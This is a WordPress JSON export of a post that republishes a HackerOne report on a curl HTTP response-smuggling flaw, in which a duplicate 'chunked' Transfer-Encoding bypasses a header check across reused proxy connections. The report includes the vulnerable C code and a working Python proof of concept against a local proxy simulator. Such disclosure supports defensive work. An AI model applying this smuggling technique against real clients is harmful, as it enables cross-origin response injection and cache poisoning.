{"id":62530,"date":"2026-06-13T16:42:02","date_gmt":"2026-06-13T16:42:02","guid":{"rendered":"https:\/\/zero.redgem.net\/?p=62530"},"modified":"2026-06-13T16:42:02","modified_gmt":"2026-06-13T16:42:02","slug":"curl-duplicate-chunked-transfer-encoding-lets-a-malicious-origin-smuggle-a-response-across-reused-ht","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=62530","title":{"rendered":"curl: Duplicate chunked Transfer-Encoding lets a malicious origin smuggle a response across reused HTTP proxy connections_H1:3795615"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-06-13T21:29:54&#8243;,&#8221;description&#8221;:&#8221;## TL;DR\\n\\nA malicious HTTP origin can send `Transfer-Encoding: chunked, chunked, gzip` through a reusable HTTP proxy connection to bypass curl&#8217;s \\&#8221;chunked must be last\\&#8221; guard, queue a forged HTTP response after its own response, and make curl parse that queued data as the response for a later request to a different origin.\\n\\n## Summary:\\n\\ncurl accepts the malformed HTTP\/1.1 response header `Transfer-Encoding: chunked, chunked, gzip`.\\ncurl already has a guard that rejects transfer codings listed after `chunked`, because `chunked` must be the final transfer coding, but a duplicate `chunked` entry bypasses that guard.\\nIn `Curl_build_unencoding_stack()`, the duplicate-`chunked` branch returns `CURLE_OK` for the entire header instead of ignoring only the duplicate token and continuing to parse the later `gzip` token.\\nWhen curl uses an HTTP proxy, multiple target origins can share the same client-to-proxy TCP connection.\\nAn attacker who controls only the first requested origin can send this malformed response and queue a forged HTTP response behind the first chunked body; curl can then reuse the proxy connection and parse those queued attacker bytes as the response for a later request to a different origin.\\n\\nThe attacker does not need to control the proxy, the client machine, or the later target origin. They only need the victim workflow to fetch an attacker-controlled HTTP URL before another HTTP URL through the same reusable HTTP proxy connection.\\n\\n## Affected versions\\nThis appears to affect curl\/libcurl versions starting with `8.8.0`.\\nThe vulnerable behavior was introduced by commit `886899143f`; the first release containing that commit is `8.8.0`.\\n\\nI reproduced the issue on current repository `HEAD` `30c9c79cf8d2`, built from `https:\/\/github.com\/curl\/curl`, on:\\n\\n&#8220;`text\\ncurl 8.21.0-DEV (x86_64-pc-linux-gnu) libcurl\/8.21.0-DEV zlib\/1.2.11\\nRelease-Date: [unreleased]\\nProtocols: file ftp http ipfs ipns ws\\nFeatures: alt-svc AsynchDNS IPv6 Largefile libz threadsafe UnixSockets\\n&#8220;`\\n\\nPlatform:\\n\\n&#8220;`text\\nLinux yanzhen 5.15.0-139-generic #149~20.04.1-Ubuntu SMP Wed Apr 16 08:29:56 UTC 2025 x86_64 x86_64 x86_64 GNU\/Linux\\n&#8220;`\\n\\nRelevant code paths:\\n\\n&#8220;`c\\n\/* lib\/http.c *\/\\nresult = Curl_build_unencoding_stack(data, v, TRUE);\\n\\n\/* lib\/content_encoding.c *\/\\ncwt = find_unencode_writer(name, namelen, phase);\\nif(cwt \\u0026\\u0026 is_chunked \\u0026\\u0026 Curl_cwriter_get_by_type(data, cwt)) {\\n  CURL_TRC_WRITE(data, \\&#8221;ignoring duplicate &#8216;chunked&#8217; decoder\\&#8221;);\\n  return CURLE_OK;\\n}\\n\\nif(is_transfer \\u0026\\u0026 !is_chunked \\u0026\\u0026\\n   Curl_cwriter_get_by_name(data, \\&#8221;chunked\\&#8221;)) {\\n  failf(data, \\&#8221;Reject response due to &#8216;chunked&#8217; not being the last \\&#8221;\\n        \\&#8221;Transfer-Encoding\\&#8221;);\\n  return CURLE_BAD_CONTENT_ENCODING;\\n}\\n&#8220;`\\n\\nThe early `return CURLE_OK` skips the later `gzip` token in `Transfer-Encoding: chunked, chunked, gzip`, so the existing \\&#8221;chunked not last\\&#8221; rejection is never reached.\\n\\n## Steps To Reproduce:\\nRun the following self-contained PoC from a curl source checkout after building `src\/curl`. It does not call any local PoC file. It starts a local HTTP proxy simulator, makes one request to `attacker.test` followed by one request to `victim.test` in the same curl process, and checks whether bytes queued after the first response are parsed as the second origin&#8217;s response.\\n\\n&#8220;`bash\\npython3 \\u003c\\u003c&#8217;PY&#8217;\\nimport os, shutil, socket, subprocess, threading, time\\n\\ncurl_bin = os.environ.get(\\&#8221;CURL_BIN\\&#8221;)\\nif not curl_bin:\\n    curl_bin = \\&#8221;.\/src\/curl\\&#8221; if os.path.exists(\\&#8221;.\/src\/curl\\&#8221;) else shutil.which(\\&#8221;curl\\&#8221;)\\nif not curl_bin:\\n    raise SystemExit(\\&#8221;Set CURL_BIN or run from a curl checkout with .\/src\/curl\\&#8221;)\\n\\ndef read_headers(conn):\\n    data = b\\&#8221;\\&#8221;\\n    while b\\&#8221;\\\\r\\\\n\\\\r\\\\n\\&#8221; not in data:\\n        chunk = conn.recv(4096)\\n        if not chunk:\\n            break\\n        data += chunk\\n    return data\\n\\ndef run_case(te_value):\\n    listener = socket.socket()\\n    listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\\n    listener.bind((\\&#8221;127.0.0.1\\&#8221;, 0))\\n    listener.listen(1)\\n    port = listener.getsockname()[1]\\n    seen_requests = []\\n\\n    def proxy():\\n        conn, _ = listener.accept()\\n        conn.settimeout(5)\\n        try:\\n            seen_requests.append(read_headers(conn))\\n            conn.sendall(\\n                b\\&#8221;HTTP\/1.1 200 OK\\\\r\\\\n\\&#8221;\\n                + b\\&#8221;Transfer-Encoding: \\&#8221; + te_value.encode(\\&#8221;ascii\\&#8221;) + b\\&#8221;\\\\r\\\\n\\&#8221;\\n                + b\\&#8221;Connection: keep-alive\\\\r\\\\n\\\\r\\\\n\\&#8221;\\n                + b\\&#8221;5\\\\r\\\\nHELLO\\\\r\\\\n0\\\\r\\\\n\\\\r\\\\n\\&#8221;\\n            )\\n\\n            # Attacker-controlled bytes queued after the first response.\\n            time.sleep(0.2)\\n            conn.sendall(\\n                b\\&#8221;HTTP\/1.1 200 OK\\\\r\\\\n\\&#8221;\\n                b\\&#8221;Content-Length: 9\\\\r\\\\n\\&#8221;\\n                b\\&#8221;Connection: keep-alive\\\\r\\\\n\\\\r\\\\n\\&#8221;\\n                b\\&#8221;SMUGGLED!\\&#8221;\\n            )\\n\\n            try:\\n                seen_requests.append(read_headers(conn))\\n                time.sleep(0.2)\\n                conn.sendall(\\n                    b\\&#8221;HTTP\/1.1 200 OK\\\\r\\\\n\\&#8221;\\n                    b\\&#8221;Content-Length: 7\\\\r\\\\n\\&#8221;\\n                    b\\&#8221;Connection: close\\\\r\\\\n\\\\r\\\\n\\&#8221;\\n                    b\\&#8221;BENIGN\\\\n\\&#8221;\\n                )\\n            except Exception:\\n                pass\\n        finally:\\n            conn.close()\\n            listener.close()\\n\\n    threading.Thread(target=proxy, daemon=True).start()\\n    proc = subprocess.run(\\n        [\\n            curl_bin,\\n            \\&#8221;-q\\&#8221;,\\n            \\&#8221;&#8211;http1.1\\&#8221;,\\n            \\&#8221;&#8211;proxy\\&#8221;, f\\&#8221;http:\/\/127.0.0.1:{port}\\&#8221;,\\n            \\&#8221;-sS\\&#8221;,\\n            \\&#8221;-v\\&#8221;,\\n            \\&#8221;http:\/\/attacker.test\/one\\&#8221;,\\n            \\&#8221;http:\/\/victim.test\/two\\&#8221;,\\n        ],\\n        stdout=subprocess.PIPE,\\n        stderr=subprocess.PIPE,\\n        timeout=10,\\n    )\\n    return proc, seen_requests\\n\\nprint(subprocess.check_output([curl_bin, \\&#8221;&#8211;version\\&#8221;], text=True).splitlines()[0])\\n\\ncontrol, _ = run_case(\\&#8221;chunked, gzip\\&#8221;)\\ncontrol_err = control.stderr.decode(\\&#8221;latin1\\&#8221;, \\&#8221;replace\\&#8221;)\\nprint(\\&#8221;control_exit:\\&#8221;, control.returncode)\\nprint(\\&#8221;control_rejected:\\&#8221;, \\&#8221;A Transfer-Encoding (gzip) was listed after chunked\\&#8221; in control_err)\\n\\nvuln, seen = run_case(\\&#8221;chunked, chunked, gzip\\&#8221;)\\nvuln_out = vuln.stdout.decode(\\&#8221;latin1\\&#8221;, \\&#8221;replace\\&#8221;)\\nvuln_err = vuln.stderr.decode(\\&#8221;latin1\\&#8221;, \\&#8221;replace\\&#8221;)\\nprint(\\&#8221;vulnerable_exit:\\&#8221;, vuln.returncode)\\nprint(\\&#8221;vulnerable_stdout:\\&#8221;, vuln_out)\\nprint(\\&#8221;second_request_reached_proxy:\\&#8221;, len(seen) \\u003e= 2)\\nprint(\\&#8221;proxy_connection_reused:\\&#8221;, \\&#8221;Reusing existing http: connection with proxy\\&#8221; in vuln_err)\\n\\nif (\\n    \\&#8221;A Transfer-Encoding (gzip) was listed after chunked\\&#8221; in control_err\\n    and vuln.returncode == 0\\n    and vuln_out == \\&#8221;HELLOSMUGGLED!\\&#8221;\\n    and len(seen) \\u003e= 2\\n    and \\&#8221;Reusing existing http: connection with proxy\\&#8221; in vuln_err\\n):\\n    print(\\&#8221;VULNERABLE: queued attacker bytes were parsed as the second origin response\\&#8221;)\\nelse:\\n    print(\\&#8221;NOT REPRODUCED\\&#8221;)\\n    print(vuln_err)\\n    raise SystemExit(1)\\nPY\\n&#8220;`\\n\\nExpected output on a vulnerable build:\\n\\n&#8220;`text\\ncurl 8.21.0-DEV (x86_64-pc-linux-gnu) libcurl\/8.21.0-DEV zlib\/1.2.11\\ncontrol_exit: 56\\ncontrol_rejected: True\\nvulnerable_exit: 0\\nvulnerable_stdout: HELLOSMUGGLED!\\nsecond_request_reached_proxy: True\\nproxy_connection_reused: True\\nVULNERABLE: queued attacker bytes were parsed as the second origin response\\n&#8220;`\\n\\nThe control case proves that curl correctly rejects `Transfer-Encoding: chunked, gzip`.\\nThe vulnerable case proves that adding a duplicate `chunked` token changes the result: curl accepts `Transfer-Encoding: chunked, chunked, gzip`, consumes `HELLO` as the first response body, then parses `SMUGGLED!` as the body of the second request to `victim.test`.\\n\\n## Impact\\n\\n## Summary:\\nAn attacker who controls one ordinary HTTP origin can make curl\/libcurl parse queued attacker bytes as the response for a later request to a different origin when an HTTP\/1.1 proxy connection is reused. The attacker does not need local access, proxy control, or control of the later origin; they only need the victim workflow to fetch the attacker URL first through the same proxy. This can cause cross-origin response injection, cache poisoning, corrupted fetcher\/proxy output, or incorrect trust decisions.&#8221;,&#8221;published&#8221;:&#8221;2026-06-11T08:27:37&#8243;,&#8221;modified&#8221;:&#8221;2026-06-13T20:47:29&#8243;,&#8221;type&#8221;:&#8221;hackerone&#8221;,&#8221;title&#8221;:&#8221;curl: Duplicate chunked Transfer-Encoding lets a malicious origin smuggle a response across reused HTTP proxy connections&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;H1:3795615&#8243;,&#8221;bulletinFamily&#8221;:&#8221;bugbounty&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;&#8221;,&#8221;sourceHref&#8221;:&#8221;&#8221;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/hackerone.com\/reports\/3795615&#8243;,&#8221;category_name&#8221;:&#8221;News&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-06-13T21:29:54&#8243;,&#8221;description&#8221;:&#8221;## TL;DR\\n\\nA malicious HTTP origin can send `Transfer-Encoding: chunked, chunked, gzip` through a reusable HTTP proxy connection to bypass curl&#8217;s \\&#8221;chunked must be last\\&#8221; guard,&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[6,8,12,117,13,33,7,11,5],"class_list":["post-62530","post","type-post","status-publish","format-standard","hentry","category-category_news","tag-cve","tag-cvss","tag-exploit","tag-hackerone","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>curl: Duplicate chunked Transfer-Encoding lets a malicious origin smuggle a response across reused HTTP proxy connections_H1:3795615 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=62530\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"curl: Duplicate chunked Transfer-Encoding lets a malicious origin smuggle a response across reused HTTP proxy connections_H1:3795615 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-06-13T21:29:54&#8243;,&#8221;description&#8221;:&#8221;## TL;DRnnA malicious HTTP origin can send `Transfer-Encoding: chunked, chunked, gzip` through a reusable HTTP proxy connection to bypass curl&#8217;s &#8221;chunked must be last&#8221; guard,...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=62530\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-06-13T16:42:02+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"7 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=62530#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=62530\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"curl: Duplicate chunked Transfer-Encoding lets a malicious origin smuggle a response across reused HTTP proxy connections_H1:3795615\",\"datePublished\":\"2026-06-13T16:42:02+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=62530\"},\"wordCount\":1331,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"hackerone\",\"news\",\"NONE\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_news\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=62530#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=62530\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=62530\",\"name\":\"curl: Duplicate chunked Transfer-Encoding lets a malicious origin smuggle a response across reused HTTP proxy connections_H1:3795615 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-06-13T16:42:02+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=62530#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=62530\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=62530#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"curl: Duplicate chunked Transfer-Encoding lets a malicious origin smuggle a response across reused HTTP proxy connections_H1:3795615\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"curl: Duplicate chunked Transfer-Encoding lets a malicious origin smuggle a response across reused HTTP proxy connections_H1:3795615 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=62530","og_locale":"en_US","og_type":"article","og_title":"curl: Duplicate chunked Transfer-Encoding lets a malicious origin smuggle a response across reused HTTP proxy connections_H1:3795615 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-06-13T21:29:54&#8243;,&#8221;description&#8221;:&#8221;## TL;DRnnA malicious HTTP origin can send `Transfer-Encoding: chunked, chunked, gzip` through a reusable HTTP proxy connection to bypass curl&#8217;s &#8221;chunked must be last&#8221; guard,...","og_url":"https:\/\/zero.redgem.net\/?p=62530","og_site_name":"zero redgem","article_published_time":"2026-06-13T16:42:02+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"7 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=62530#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=62530"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"curl: Duplicate chunked Transfer-Encoding lets a malicious origin smuggle a response across reused HTTP proxy connections_H1:3795615","datePublished":"2026-06-13T16:42:02+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=62530"},"wordCount":1331,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","hackerone","news","NONE","Security","tapic","Vulnerability"],"articleSection":["category_news"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=62530#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=62530","url":"https:\/\/zero.redgem.net\/?p=62530","name":"curl: Duplicate chunked Transfer-Encoding lets a malicious origin smuggle a response across reused HTTP proxy connections_H1:3795615 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-06-13T16:42:02+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=62530#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=62530"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=62530#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"curl: Duplicate chunked Transfer-Encoding lets a malicious origin smuggle a response across reused HTTP proxy connections_H1:3795615"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/62530","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=62530"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/62530\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=62530"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=62530"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=62530"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}